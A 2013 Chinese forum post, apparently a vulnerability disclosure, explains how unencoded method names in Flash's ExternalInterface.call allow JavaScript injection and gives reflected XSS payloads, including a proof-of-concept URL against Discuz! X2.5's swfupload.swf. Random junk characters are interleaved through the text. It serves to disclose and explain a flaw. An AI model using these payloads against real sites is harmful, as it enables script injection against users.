找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2258|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说; D- ]/ G* o2 i( ~& a  ^: q8 k

4 `/ `0 \, H7 M1 p" Gflash.external.ExternalInterface.call($methodName, $parameter)) z# U, l: x* V! s- G
在浏览器中执行的是* ~9 d2 k2 h* P" ]  K
6 ~' o, f6 w8 E. S/ I
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}9 l/ ^0 [, B' H, @
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如: E2 l: v( B% O
7 o: M# [9 o8 D5 u' W3 C( p9 _
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
( x( i( \$ m; E/ t: |* ]# O$methodName = a())}catch(e){alert(/xss/)}//
6 n  u' y4 j: |# N1 V* m结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
- U: k  p" O# B7 G
. @6 |" n4 \7 u6 k3 b/ x3 Utry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
, h. P& r) ^7 C5 H) ~$ z4 {" W7 H) C1 R# x8 R% G- P
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )% J  H: i: b/ U9 F
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
9 l: s  Z, r6 R  T: y$ i2 K
8 m( q$ W, h1 t  C2 V. B9 K  I# R" |( L5 h

0 L3 d9 ?& P0 J$ @( y/ }( z漏洞文件:upload\static\image\common\swfupload.swf
; y$ Q4 ^+ _- u* m1 O" @" Y; F# R$ J9 K" M
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
" U8 M3 A+ {6 v# k1 Q% P" y
) Q; \+ N4 s! K7 d5 S! X+ Q- d9 C% E6 I
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//- D3 v2 n5 {" G& Y- ^$ [7 |

! t/ K) a5 e* t) _, O# [8 o4 W' {" v  e$ S
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表